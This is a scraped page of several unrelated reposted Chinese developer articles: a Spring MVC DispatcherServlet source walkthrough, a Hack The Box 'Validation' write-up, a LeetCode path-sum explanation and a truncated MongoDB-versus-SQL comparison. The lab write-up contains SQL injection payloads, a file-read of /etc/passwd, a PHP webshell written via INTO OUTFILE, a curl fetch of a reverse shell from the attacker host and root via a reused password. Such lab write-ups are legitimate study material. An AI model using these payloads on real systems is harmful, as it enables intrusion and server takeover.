   initContextHolders(request, localeContext, requestAttributes);

   try {
   //该方法主要操作在于doService方法
      doService(request, response);
   }
   catch (ServletException | IOException ex) {
      failureCause = ex;
      throw ex;
   }
   catch (Throwable ex) {
      failureCause = ex;
      throw new NestedServletException("Request processing failed", ex);
   }

   finally {
      resetContextHolders(request, previousLocaleContext, previousAttributes);
      if (requestAttributes != null) {
         requestAttributes.requestCompleted();
      }
      logResult(request, response, failureCause, asyncManager);
      //执行完成后进行相关结果处理
      publishRequestHandledEvent(request, response, startTime, failureCause);
   }
}

在调用的doService方法核心逻辑：
1.初始化一些可用的处理器以及视图对象
2.调用真正分发的doDispatch方法
下面直接看doDispatch方法：
doDispatch方法作用：

1.通过调用getHandler方法获取包含了HandlerMapping的HandlerExecutionChain对象

2.从HandlerExecutionChain对象中通过getHandler获取对应的handlerMethod，然后根据handlerMethod获取handlerAdapter

3.执行HandlerExecutionChain的所有拦截器的前置方法preHandle

4.通过handlerAdapter调用handle去执行具体处理方法，最终是调用到某个controller方法

5.执行handlerExecutionChain中的所有拦截器的后置处理方法applyPostHandle

6.调用processDispatchResult方法处理请求分发结果，主要是处理视图解析等操作

7.最后处理资源清理工作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
ini复制代码protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
   HttpServletRequest processedRequest = request;
   //并不是直接处理的handler，而是handler的执行链，里面会有符合条件的拦截器
   HandlerExecutionChain mappedHandler = null;
   boolean multipartRequestParsed = false;

   WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);

   try {
      ModelAndView mv = null;
      Exception dispatchException = null;

      try {
         processedRequest = checkMultipart(request);
         multipartRequestParsed = (processedRequest != request);

         // 这个是核心操作，它主要根据请求url去匹配对应的handlerMapping，然后经过一系列处理获取到handler执行链
         mappedHandler = getHandler(processedRequest);
         if (mappedHandler == null) {
            noHandlerFound(processedRequest, response);
            return;
         }

         // 此处调用主要是寻找handler的适配器
         HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());

         // Process last-modified header, if supported by the handler.
         String method = request.getMethod();
         boolean isGet = "GET".equals(method);
         if (isGet || "HEAD".equals(method)) {
            long lastModified = ha.getLastModified(request, mappedHandler.getHandler());
            if (new ServletWebRequest(request, response).checkNotModified(lastModified) && isGet) {
               return;
            }
         }
         //调用handler执行链的所有拦截器的前置处理
         if (!mappedHandler.applyPreHandle(processedRequest, response)) {
            return;
         }

         // handler正在执行的方法，即某个controller中的某个方法，然后处理结果返回一个ModelAndView
         mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

         if (asyncManager.isConcurrentHandlingStarted()) {
            return;
         }
        //执行handler执行链的所有拦截器的后置处理器
         applyDefaultViewName(processedRequest, mv);
         mappedHandler.applyPostHandle(processedRequest, response, mv);
      }
      catch (Exception ex) {
         dispatchException = ex;
      }
      catch (Throwable err) {

         dispatchException = new NestedServletException("Handler dispatch failed", err);
      }
      //处理请求分发执行后的结果，主要是视图解析等一系列操作
      processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
   }
   catch (Exception ex) {
      triggerAfterCompletion(processedRequest, response, mappedHandler, ex);
   }
   catch (Throwable err) {
      triggerAfterCompletion(processedRequest, response, mappedHandler,
            new NestedServletException("Handler processing failed", err));
   }
   //最后处理资源清楚工作
   finally {
      if (asyncManager.isConcurrentHandlingStarted()) {
         // Instead of postHandle and afterCompletion
         if (mappedHandler != null) {
            mappedHandler.applyAfterConcurrentHandlingStarted(processedRequest, response);
         }
      }
      else {
         // Clean up any resources used by a multipart request.
         if (multipartRequestParsed) {
            cleanupMultipart(processedRequest);
         }
      }
   }
}

那么getHandler是如何获取到handler执行链的？
它其实是通过遍历DispatcherServlet中所有的HandlerMapping，然后通过handlerMapping中的getHandler获取handler执行链,但handlerMapping主要分为两种:

  • AbstractUrlHandlerMapping:应对xml中编写的url
  • AbstractHandlerMethodMapping 应对注解形式的controller

而handlerMapping中getHandler方法中主要是进行几个操作：

  • 调用getHandlerInternal方法，该方法是抽象方法，具体实现在对应的handlermapping子类中，主要分为两类：AbstractHandlerMethodMapping这个是基于@RequetMapping等注解形式的handlerMapping，AbstractUrlHandlerMapping类主要是处理可配置的url查找、程序映射到url的等操作比XML里配置一个/hello到对应实现类等可配置url处理。根据reuqest的url调用AbstractUrlHandlerMapping获取handler名称或者对应的handler的Bean名称,这种是基于可配置的url,另外一种是基于方法匹配即controller中定义的每个方法会调用AbstractHandlerMethodMapping
  • 调用getHhandlerInternal后获取到对应handler的bean名称或者实例对象,调用getHandlerExecutionChain构建成HandlerExecutionChain
  • 把获取到的handler放到handlerExecutionChain执行链上
  • 判断是否需要处理跨越问题，如果需要则根据跨域配置以及现有的handler执行链重新构建获取一个新的执行链
    然后HandlerMaping中的getHandler方法源码如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
ini复制代码public final HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
   //获取handler
   Object handler = getHandlerInternal(request);
   if (handler == null) {
      handler = getDefaultHandler();
   }
   if (handler == null) {
      return null;
   }
   // Bean name or resolved handler?
   if (handler instanceof String) {
      String handlerName = (String) handler;
      handler = obtainApplicationContext().getBean(handlerName);
   }
    //根据handler和request获取到具体的handler执行链
   HandlerExecutionChain executionChain = getHandlerExecutionChain(handler, request);

   if (logger.isTraceEnabled()) {
      logger.trace("Mapped to " + handler);
   }
   else if (logger.isDebugEnabled() && !request.getDispatcherType().equals(DispatcherType.ASYNC)) {
      logger.debug("Mapped to " + executionChain.getHandler());
   }
//跨域处理
   if (hasCorsConfigurationSource(handler) || CorsUtils.isPreFlightRequest(request)) {
      CorsConfiguration config = (this.corsConfigurationSource != null ? this.corsConfigurationSource.getCorsConfiguration(request) : null);
      CorsConfiguration handlerConfig = getCorsConfiguration(handler, request);
      config = (config != null ? config.combine(handlerConfig) : handlerConfig);
      executionChain = getCorsHandlerExecutionChain(request, executionChain, config);
   }

   return executionChain;
}

下面分析一些基于注解形式的handler获取：
AbstractHandlerMethodMapping的getHandlerInternal方法作用：
1.通过UrlPathHelper工具类根据request获取(url)lookupPath即获取handler的key
2.获取mappingRegistry对象的读锁，避免并发问题还在注册Mapping映射时，出现在获取handler的情况（不知道有没有理解错误）
3.调用lookupHandlerMethod(lookupPath, request);获取handlerMethod对象，该对象包含了方法的参数、返回值、注解等。该方法主要是根据lookupPath即url从MappingRegistry中获取对应的RequetsMappingInfo信息,然后根据映射信息以及url等一些列操作获取到最佳匹配的handlerMethod
4.根据获取到的HandlerMethod对象创建对应的解析器Bean,然后返回
5.解锁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
java复制代码@Override
protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception {
//通过工具类获取的url这里是lookupPath
   String lookupPath = getUrlPathHelper().getLookupPathForRequest(request);
   request.setAttribute(LOOKUP_PATH, lookupPath);
   //获取读锁，避免还早注册，然后这边在读取
   this.mappingRegistry.acquireReadLock();
   try {
   //通过lookupPath湖区哦到对应的handlerMethod,handlerMetho里包含handler
      HandlerMethod handlerMethod = lookupHandlerMethod(lookupPath, request);
      //
      return (handlerMethod != null ? handlerMethod.createWithResolvedBean() : null);
   }
   finally {
   //然后释放锁
      this.mappingRegistry.releaseReadLock();
   }
}

接着看一下getHandlerExecutionChain是如何生成handler执行链的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
java复制代码protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
   HandlerExecutionChain chain = (handler instanceof HandlerExecutionChain ?
         (HandlerExecutionChain) handler : new HandlerExecutionChain(handler));

   String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, LOOKUP_PATH);
   //遍历所有拦截器
   for (HandlerInterceptor interceptor : this.adaptedInterceptors) {
      if (interceptor instanceof MappedInterceptor) {
      //通过匹配的区别增加到拦截器的list里保存起来,然后返回
         MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor;
         if (mappedInterceptor.matches(lookupPath, this.pathMatcher)) {
            chain.addInterceptor(mappedInterceptor.getInterceptor());
         }
      }
      else {
         chain.addInterceptor(interceptor);
      }
   }
   return chain;
}

handler执行链获取到之后，然后进行获取handler的适配器:
遍历所有的handlerAdapters找到对应的adapter，一般是RequestMappingHandlerAdapter

1
2
3
4
5
6
7
8
9
10
11
12
java复制代码protected HandlerAdapter getHandlerAdapter(Object handler) throws ServletException {
   if (this.handlerAdapters != null) {
      for (HandlerAdapter adapter : this.handlerAdapters) {
      //如果支持则直接返回
         if (adapter.supports(handler)) {
            return adapter;
         }
      }
   }
   throw new ServletException("No adapter for handler [" + handler +
         "]: The DispatcherServlet configuration needs to include a HandlerAdapter that supports this handler");
}

接着就是执行拦截器的前置处理了，其实就是遍历该handler执行链上的所有拦截器的前置处理方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ini复制代码boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception {
   HandlerInterceptor[] interceptors = getInterceptors();
   if (!ObjectUtils.isEmpty(interceptors)) {
   //遍历执行
      for (int i = 0; i < interceptors.length; i++) {
         HandlerInterceptor interceptor = interceptors[i];
         if (!interceptor.preHandle(request, response, this.handler)) {
            triggerAfterCompletion(request, response, null);
            return false;
         }
         this.interceptorIndex = i;
      }
   }
   return true;
}

接着是handler执行handle方法做具体逻辑方法调用

1
2
3
4
5
6
7
8
java复制代码AbstractHandlerMethodAdapter：
@Override
@Nullable
public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler)
      throws Exception {
调用子类的方法
   return handleInternal(request, response, (HandlerMethod) handler);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
scss复制代码
RequestMappingHandlerAdapter:
1.调用invokeHandlerMethod方法执行处理

2.判断请求头有没有缓存控制，有则进行缓存处理
@Override
protected ModelAndView handleInternal(HttpServletRequest request,
      HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {

   ModelAndView mav;
   checkRequest(request);

   // Execute invokeHandlerMethod in synchronized block if required.
   if (this.synchronizeOnSession) {
      HttpSession session = request.getSession(false);
      if (session != null) {
         Object mutex = WebUtils.getSessionMutex(session);
         synchronized (mutex) {
         //核心处理逻辑方法
            mav = invokeHandlerMethod(request, response, handlerMethod);
         }
      }
      else {
         //核心处理逻辑方法
         mav = invokeHandlerMethod(request, response, handlerMethod);
      }
   }
   else {
      //核心处理逻辑方法
      mav = invokeHandlerMethod(request, response, handlerMethod);
   }

   if (!response.containsHeader(HEADER_CACHE_CONTROL)) {
      if (getSessionAttributesHandler(handlerMethod).hasSessionAttributes()) {
         applyCacheSeconds(response, this.cacheSecondsForSessionAttributeHandlers);
      }
      else {
      
         prepareResponse(response);
      }
   }

   return mav;
}

下面方法是具体handler执行并且返回ModelAndView，主要做了以下几个操作：
该方法是主要handler处理逻辑:
1.先handlerMethod获取到web数据绑定工厂
2.获取模型工厂
3.根据handlerMethod创建出ServletInvocableHandlerMethod对象，该对象还需要设置一下handlerMethod的参数解析器、返回值处理器、数据绑定工厂、参数名处理对象，是一个具有执行、解析、处理参数一个执行方法对象.
4.servletInvocableHandlerMethod对象调用invokeAndHandle方法执行，最底层是基于反射执行Method来处理的
5.执行完成后通过返回值处理器returnValueHandlers处理返回值，然后调用getModelAndView方法获取到ModelAndView

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
ini复制代码@Nullable
protected ModelAndView invokeHandlerMethod(HttpServletRequest request,
      HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
     //获取数据绑定工厂\模型解析以及参数解析器、返回值处理handler等等
   ServletWebRequest webRequest = new ServletWebRequest(request, response);
   try {
      WebDataBinderFactory binderFactory = getDataBinderFactory(handlerMethod);
      ModelFactory modelFactory = getModelFactory(handlerMethod, binderFactory);

      ServletInvocableHandlerMethod invocableMethod = createInvocableHandlerMethod(handlerMethod);
      if (this.argumentResolvers != null) {
         invocableMethod.setHandlerMethodArgumentResolvers(this.argumentResolvers);
      }
      if (this.returnValueHandlers != null) {
         invocableMethod.setHandlerMethodReturnValueHandlers(this.returnValueHandlers);
      }
      invocableMethod.setDataBinderFactory(binderFactory);
      invocableMethod.setParameterNameDiscoverer(this.parameterNameDiscoverer);

      ModelAndViewContainer mavContainer = new ModelAndViewContainer();
      mavContainer.addAllAttributes(RequestContextUtils.getInputFlashMap(request));
      modelFactory.initModel(webRequest, mavContainer, invocableMethod);
      mavContainer.setIgnoreDefaultModelOnRedirect(this.ignoreDefaultModelOnRedirect);

      AsyncWebRequest asyncWebRequest = WebAsyncUtils.createAsyncWebRequest(request, response);
      asyncWebRequest.setTimeout(this.asyncRequestTimeout);

      WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
      asyncManager.setTaskExecutor(this.taskExecutor);
      asyncManager.setAsyncWebRequest(asyncWebRequest);
      asyncManager.registerCallableInterceptors(this.callableInterceptors);
      asyncManager.registerDeferredResultInterceptors(this.deferredResultInterceptors);

      if (asyncManager.hasConcurrentResult()) {
         Object result = asyncManager.getConcurrentResult();
         mavContainer = (ModelAndViewContainer) asyncManager.getConcurrentResultContext()[0];
         asyncManager.clearConcurrentResult();
         LogFormatUtils.traceDebug(logger, traceOn -> {
            String formatted = LogFormatUtils.formatValue(result, !traceOn);
            return "Resume with async result [" + formatted + "]";
         });
         invocableMethod = invocableMethod.wrapConcurrentResult(result);
      }
       //具体执行请求方法,底层基于反射调用具体的业务逻辑方法去处理
      invocableMethod.invokeAndHandle(webRequest, mavContainer);
      if (asyncManager.isConcurrentHandlingStarted()) {
         return null;
      }
       //处理结果并且返回对应的ModelAndView
      return getModelAndView(mavContainer, modelFactory, webRequest);
   }
   finally {
      webRequest.requestCompleted();
   }
}

返回对应的ModelAndView之后，接着就是执行对应拦截器的后置处理方法，
最后就是调用processDispatchResult方法处理结果，该方法大致做了以下几点：
该方法主要做两件事:

1.判断前面执行过程中有没有异常，则遍历调用DispatcherServlet中所有的异常解析处理器HandlerExceptionResolver的resolveException（所有的异常解析处理器都必须实现改接口或者实现AbstractHandlerExceptionResolver的抽象子类，平常自定义异常解析可以基于上面者两个类做扩展）

2.没有异常的通过调用render方法处理视图，分两种请情况，前面获得的modeAndViews是否指定了视图名称，如果是则通过视图解析器处理比如：BeanNameViewResolver\FreeMarkerViewResolver、InternalResourceViewResolver等，如果不是则从ModeAndView获取到对应的视图，里面有多种视图包括处理json的MappingJackson2JsonView以及模板引擎的FreeMarkerView，也可以自定义视图处理，可以通过实现AbstractView或者想简单扩展json视图可以通过继承AbstractJackson2View来实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
less复制代码private void processDispatchResult(HttpServletRequest request, HttpServletResponse response,
      @Nullable HandlerExecutionChain mappedHandler, @Nullable ModelAndView mv,
      @Nullable Exception exception) throws Exception {
   boolean errorView = false;
   //异常视图处理
   if (exception != null) {
      if (exception instanceof ModelAndViewDefiningException) {
         logger.debug("ModelAndViewDefiningException encountered", exception);
         mv = ((ModelAndViewDefiningException) exception).getModelAndView();
      }
      else {
         Object handler = (mappedHandler != null ? mappedHandler.getHandler() : null);
         mv = processHandlerException(request, response, handler, exception);
         errorView = (mv != null);
      }
   }

   //这里是正常视图处理
   if (mv != null && !mv.wasCleared()) {
      render(mv, request, response);
      if (errorView) {
         WebUtils.clearErrorRequestAttributes(request);
      }
   }
   else {
      if (logger.isTraceEnabled()) {
         logger.trace("No view rendering, null ModelAndView returned.");
      }
   }
   if (WebAsyncUtils.getAsyncManager(request).isConcurrentHandlingStarted()) {
      // Concurrent handling started during a forward
      return;
   }
  
   if (mappedHandler != null) {
      // Exception (if any) is already handled..
      mappedHandler.triggerAfterCompletion(request, response, null);
   }
}

由于篇幅有限，其他一些方法可以通过流程图以及具体源码类去了解

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

免责声明

本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用，请不要将文中使用的工具和渗透思路用于任何非法用途，对此产生的一切后果，本人不承担任何责任，也不对造成的任何误用或损害负责。

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
bash复制代码┌──(root💀kali)-[~/htb]
└─# nmap -sV -Pn 10.10.11.116 -p-
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-29 03:48 EST
Nmap scan report for 10.10.11.116
Host is up (0.34s latency).
Not shown: 65522 closed ports
PORT     STATE    SERVICE        VERSION
22/tcp   open     ssh            OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open     http           Apache httpd 2.4.48 ((Debian))
4566/tcp open     http           nginx
5000/tcp filtered upnp
5001/tcp filtered commplex-link
5002/tcp filtered rfe
5003/tcp filtered filemaker
5004/tcp filtered avt-profile-1
5005/tcp filtered avt-profile-2
5006/tcp filtered wsm-server
5007/tcp filtered wsm-server-ssl
5008/tcp filtered synapsis-edge
8080/tcp open     http           nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1102.01 seconds

目录爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
javascript复制代码┌──(root💀kali)-[~/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://10.10.11.116                                                                        

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492

Output File: /root/dirsearch/reports/10.10.11.116/_21-11-29_04-17-51.txt

Error Log: /root/dirsearch/logs/errors-21-11-29_04-17-51.log

Target: http://10.10.11.116/

[04:17:52] Starting:    
[04:18:57] 200 -    0B  - /config.php                                       
[04:19:00] 301 -  310B  - /css  ->  http://10.10.11.116/css/                
[04:19:16] 200 -   16KB - /index.php                                        
[04:19:17] 200 -   16KB - /index.php/login/                                 
[04:19:18] 403 -  277B  - /js/

只有几个文件，查网页源代码无特别发现

index页面需要输入一个名字，点击确定以后会跳到另一个页面，显示我们刚才输入的名字，也就是说很可能是经过数据库的

所以会不会有sql注入？

sql注入

用burp抓index.php页面的包，保存到data文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
makefile复制代码┌──(root💀kali)-[~/htb/Validation]
└─# cat data     
POST /index.php HTTP/1.1
Host: 10.10.11.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: http://10.10.11.116
Connection: close
Referer: http://10.10.11.116/
Upgrade-Insecure-Requests: 1

username=max&country=Brazil

sqlmap尝试跑一下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
less复制代码──(root💀kali)-[~/htb/Validation]
└─# sqlmap -r data --batch  --level=5 --risk=3
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.5.2#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:36:41 /2021-11-29/

[09:36:41] [INFO] parsing HTTP request from 'data'
[09:36:41] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.11.116:80/account.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[09:36:42] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[09:36:42] [WARNING] if the problem persists please check that the provided target URL is reachable. In case that it is, you can try to rerun with switch '--random-agent' and/or proxy switches ('--proxy', '--proxy-file'...)
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
[09:36:44] [CRITICAL] unable to connect to the target URL
[09:36:44] [INFO] testing if the target URL content is stable
[09:36:45] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[09:36:48] [CRITICAL] unable to connect to the target URL
[09:36:48] [WARNING] POST parameter 'username' does not appear to be dynamic
[09:36:49] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[09:36:50] [CRITICAL] unable to connect to the target URL
[09:36:50] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[09:36:50] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
there seems to be a continuous problem with connection to the target. Are you sure that you want to continue? [y/N] N
[09:36:51] [WARNING] your sqlmap version is outdated

[*] ending @ 09:36:51 /2021-11-29/

失败了。。。

经过手动测试，发现country这个参数其实是存在sql注入的，我们尝试用下面payload

username=max&country=Andorra’

结果报错了

Fatal error: Uncaught Error: Call to a member function fetch_assoc() on bool in /var/www/html/account.php:33 Stack trace: #0 {main} thrown in /var/www/html/account.php on line 33

说明我们加的引号被当成了sql执行。

获得mysql版本

username=max&country=Andorra’ union select @@version – -

返回：10.5.11-MariaDB-1

获得当前数据库名称：

username=max&country=Andorra’ union select database() – -

返回：registration

获得当前库的所有表，表所有的库，表的行数和表的功能注释

username=max&country=Andorra’ union select concat( table_schema,char(10),table_name,char(10),table_rows,char(10),table_comment,char(10)) from information_schema.tables where table_schema=database() – -

返回：registration registration 30

数据库的使用者 : uhc@localhost
数据库安装路径：/var/lib/mysql/

查看/etc/passwd

username=max&country=Andorra’ union select load_file(“/etc/passwd”)– -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ruby复制代码root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
sys:x:3:3:sys:/dev:/usr/sbin/nologin 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/usr/sbin/nologin 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin 
gnats:x:41:41:Gnats Bug-Reporting 
System (admin):/var/lib/gnats:/usr/sbin/nologin 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin 
systemd-timesync:x:101:101:systemd 
Time Synchronization,,,:/run/systemd:/usr/sbin/nologin 
systemd-network:x:102:103:systemd 
Network Management,,,:/run/systemd:/usr/sbin/nologin 
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin 
mysql:x:104:105:MySQL Server,,,:/nonexistent:/bin/false 
messagebus:x:105:106::/nonexistent:/usr/sbin/nologin 
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin

居然没有ssh可以直接登录的普通用户

写文件到靶机
username=max&country=Andorra' union select "<?php phpinfo(); ?>" into outfile "/var/www/html/exp.php" -- -

成功显示phpinfo信息。

写webshell到靶机（这里我做了好多好多尝试。。。。）
username=max&country=Andorra' union select "<?php echo system(@$_GET['cmd']); ?>" into outfile "/var/www/html/exp.php"; -- -

我们用{IP}/exp.php?cmd=id触发webshell

返回：

1
kotlin复制代码uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)

在{IP}/exp.php?cmd=cat /home/htb/user.txt拿到user.txt

搞个正经的webshell

但是这样的shell实在是不方便，我们使用下面的payload拿到一个交互shell

{IP}/exp.php?cmd=curl%20 http://10.10.14.15:8000/reverse-shell.php%20 -o ./shell.php

然后访问指定文件，获得反弹shell

{IP}//shell.php

1
2
3
4
5
6
7
8
9
10
11
ini复制代码┌──(root💀kali)-[~/htb/Validation]
└─# nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.116] 48802
Linux validation 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 GNU/Linux
 16:55:32 up  3:52,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

提权

传linpea到靶机

curl http://10.10.14.15:8000/linpeas.sh -o /tmp/linpeas.sh

发现有一个cap_chown的能力可以用于提权，但是查了半天不知道咋用

无聊去web站点看看配置文件，尝试su root，居然，成功了。。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ini复制代码$ cat config.php
<?php
  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "{这个是密码}";
  $dbname = "registration";

  $conn = new mysqli($servername, $username, $password, $dbname);
?>
$ su
Password: {这个是密码}

id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
{就不告诉你}

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

「这是我参与11月更文挑战的第30天，活动详情查看：2021最后一次更文挑战」

今天说一下最小路径和问题。

image.png

实现思路

由于网格大小是不确定的，网格上的数字也是不确定的。我们可以知道的是要整条路径的值最小，而又有多条路径，那么就需要知道每一步的最小路径是什么，也就是每一步的数字和为最小。

另外还有两条比较特殊的行和列。

第一行，除了第一个格子，往右移动，每个格子都是由前一个格子决定的。

第一列，除了第一个格子，往下移动，每个格子都是由上一个格子决定的。

而其他的格子都是由左边的格子或者上面的格子决定的。

也就是说，我们知道了第一行和第一列每个格子的路径值，那么其他的格子都可以由此推导出来。

举个例子，题目中给出的示例1。

第一行第一列的值为1。

第一行第二列的值为3，那么此时如果往右走到第一行第二列，路径的数字和就是4。

第二行第一列的值为1，那么此时如果往下走到第二行第一列，路径的数字和就是2。

此时我们可以走第二行第二列，那么我们是从第一行第二列还是从第二行第一列走呢？它们两个各自的路径和已经知道了，我们选取一个最小的留下，路径和最小的为第二行第一列，值为2。

不管网格有多少行多少列，我们只需要根据上面这种方式就可以推导出最后的最短路径。

完整代码

image.png

第813行代码，获取整个数组的长度，即总列数。

第814行代码，获取第二维数组的长度，即总行数。

第815-817行代码，如果数组为空则退出。

第819行代码，遍历列数。

第820行代码，遍历行数。

即在列数不变的情况，一次遍历每一行上的数字和。

第821-823行代码，如果列数和行数都为0的话，也就是第一行第一列，则中断此次循环，因为第一行第一列的没有前置路径，所以不需要计算。

第824-827行代码，如果列数为0时，也就是第一列，上面说思路时讲过，第一列上路径的数字和只来自于该格子的上面，所以只需要第一列上一行格子上的数字相加即可。

第828-831行代码，同列数，如果行数为0时，也就是第一行，上面说思路时讲过，第一行上路径的数字和只来自于该格子的左面，所以只需要第一行左一列格子上的数字相加即可。

第832行代码，不属于第一行或者第一列的格子，则需要判断该格子左边或者上边的路径数字和哪一个值最小，然后把最小值赋值给该格子。

第836行代码，返回最后一个格子的路径和，即为整个路径的最小值。因为执行for循环，最后会把$i、$j的值增加到不小于行数或列数，所以需要各自减一得出结果。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

mongo的聚合操作和mysql的查询类比

SQL 操作/函数 mongodb聚合操作
where $match
group by $group
having $match
select $project
order by $sort
limit $limit
sum() $sum
count() $sum
join $lookup

下面一些例子和sql做对比

下面是使用数据库的一个基本结构

数据链接（提取码:gqh2）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
json复制代码{ 
  _id: ObjectId("5dbe7a545368f69de2b4d36e"),
  street: '493 Hilll Curve',
  city: 'Champlinberg',
  state: 'Texas',
  country: 'Malaysia',
  zip: '24344-1715',
  phone: '425.956.7743 x4621',
  name: 'Destinee Schneider',
  userId: 3573,
  orderDate: 2019-03-26T03:20:08.805Z,
  status: 'created',
  shippingFee: Decimal128("8.00"),
  orderLines: [ 
     { 
       product: 'Refined Fresh Tuna',
       sku: '2057',
       qty: 25,
       price: Decimal128("56.00"),
       cost: Decimal128("46.48") },
     {
       product: 'Refined Concrete Ball',
       sku: '1732',
       qty: 61,
       price: Decimal128("47.00"),
       cost: Decimal128("47") 
